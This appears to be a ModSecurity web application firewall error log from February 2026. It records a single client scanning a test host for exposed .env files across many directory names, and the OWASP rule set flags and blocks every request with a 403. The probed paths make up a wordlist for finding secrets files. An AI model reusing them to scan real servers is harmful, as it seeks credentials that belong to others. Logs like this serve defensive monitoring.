[Thu Feb 26 01:03:07.737737 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/items/.env&quot;] [unique_id &quot;aZ-Nu5qP6Uim1aZiP_g4fAAAAAY&quot;]
[Thu Feb 26 01:03:07.737881 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/items/.env&quot;] [unique_id &quot;aZ-Nu5qP6Uim1aZiP_g4fAAAAAY&quot;]
[Thu Feb 26 01:03:07.766508 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /javascript/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/javascript/.env&quot;] [unique_id &quot;aZ-Nu5qP6Uim1aZiP_g4fQAAAAY&quot;]
[Thu Feb 26 01:03:07.766771 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/javascript/.env&quot;] [unique_id &quot;aZ-Nu5qP6Uim1aZiP_g4fQAAAAY&quot;]
[Thu Feb 26 01:03:07.766928 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/javascript/.env&quot;] [unique_id &quot;aZ-Nu5qP6Uim1aZiP_g4fQAAAAY&quot;]
[Thu Feb 26 01:03:07.791801 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /jenkins/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jenkins/.env&quot;] [unique_id &quot;aZ-Nu5qP6Uim1aZiP_g4fgAAAAY&quot;]
[Thu Feb 26 01:03:07.792069 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jenkins/.env&quot;] [unique_id &quot;aZ-Nu5qP6Uim1aZiP_g4fgAAAAY&quot;]
[Thu Feb 26 01:03:07.792232 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jenkins/.env&quot;] [unique_id &quot;aZ-Nu5qP6Uim1aZiP_g4fgAAAAY&quot;]
[Thu Feb 26 01:03:07.855471 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /joomla/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/joomla/.env&quot;] [unique_id &quot;aZ-Nu5qP6Uim1aZiP_g4gAAAAAY&quot;]
[Thu Feb 26 01:03:07.855727 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/joomla/.env&quot;] [unique_id &quot;aZ-Nu5qP6Uim1aZiP_g4gAAAAAY&quot;]
[Thu Feb 26 01:03:07.855888 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/joomla/.env&quot;] [unique_id &quot;aZ-Nu5qP6Uim1aZiP_g4gAAAAAY&quot;]
[Thu Feb 26 01:03:07.921506 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /js-plugin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js-plugin/.env&quot;] [unique_id &quot;aZ-Nu5qP6Uim1aZiP_g4gQAAAAY&quot;]
[Thu Feb 26 01:03:07.921773 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js-plugin/.env&quot;] [unique_id &quot;aZ-Nu5qP6Uim1aZiP_g4gQAAAAY&quot;]
[Thu Feb 26 01:03:07.921974 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js-plugin/.env&quot;] [unique_id &quot;aZ-Nu5qP6Uim1aZiP_g4gQAAAAY&quot;]
[Thu Feb 26 01:03:07.933586 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /jsrelay/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jsrelay/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUnQAAAAc&quot;]
[Thu Feb 26 01:03:07.933845 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jsrelay/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUnQAAAAc&quot;]
[Thu Feb 26 01:03:07.934023 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jsrelay/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUnQAAAAc&quot;]
[Thu Feb 26 01:03:07.958433 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /jupyter/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jupyter/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUngAAAAc&quot;]
[Thu Feb 26 01:03:07.958666 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jupyter/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUngAAAAc&quot;]
[Thu Feb 26 01:03:07.958847 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jupyter/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUngAAAAc&quot;]
[Thu Feb 26 01:03:07.989061 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /khanlinks/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/khanlinks/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUnwAAAAc&quot;]
[Thu Feb 26 01:03:07.989307 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/khanlinks/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUnwAAAAc&quot;]
[Thu Feb 26 01:03:07.989467 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/khanlinks/.env&quot;] [unique_id &quot;aZ-Nu89iaYbHzIBMVEXUnwAAAAc&quot;]
[Thu Feb 26 01:03:08.045538 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kibana/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kibana/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUoAAAAAc&quot;]
[Thu Feb 26 01:03:08.045802 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kibana/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUoAAAAAc&quot;]
[Thu Feb 26 01:03:08.045976 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kibana/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUoAAAAAc&quot;]
[Thu Feb 26 01:03:08.068664 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kodenames-server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kodenames-server/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUoQAAAAc&quot;]
[Thu Feb 26 01:03:08.068939 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kodenames-server/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUoQAAAAc&quot;]
[Thu Feb 26 01:03:08.071023 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kodenames-server/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUoQAAAAc&quot;]
[Thu Feb 26 01:03:08.096525 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kolab-syncroton/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kolab-syncroton/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUogAAAAc&quot;]
[Thu Feb 26 01:03:08.096751 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kolab-syncroton/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUogAAAAc&quot;]
[Thu Feb 26 01:03:08.096900 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kolab-syncroton/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUogAAAAc&quot;]
[Thu Feb 26 01:03:08.123651 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kubernetes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Kubernetes/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUowAAAAc&quot;]
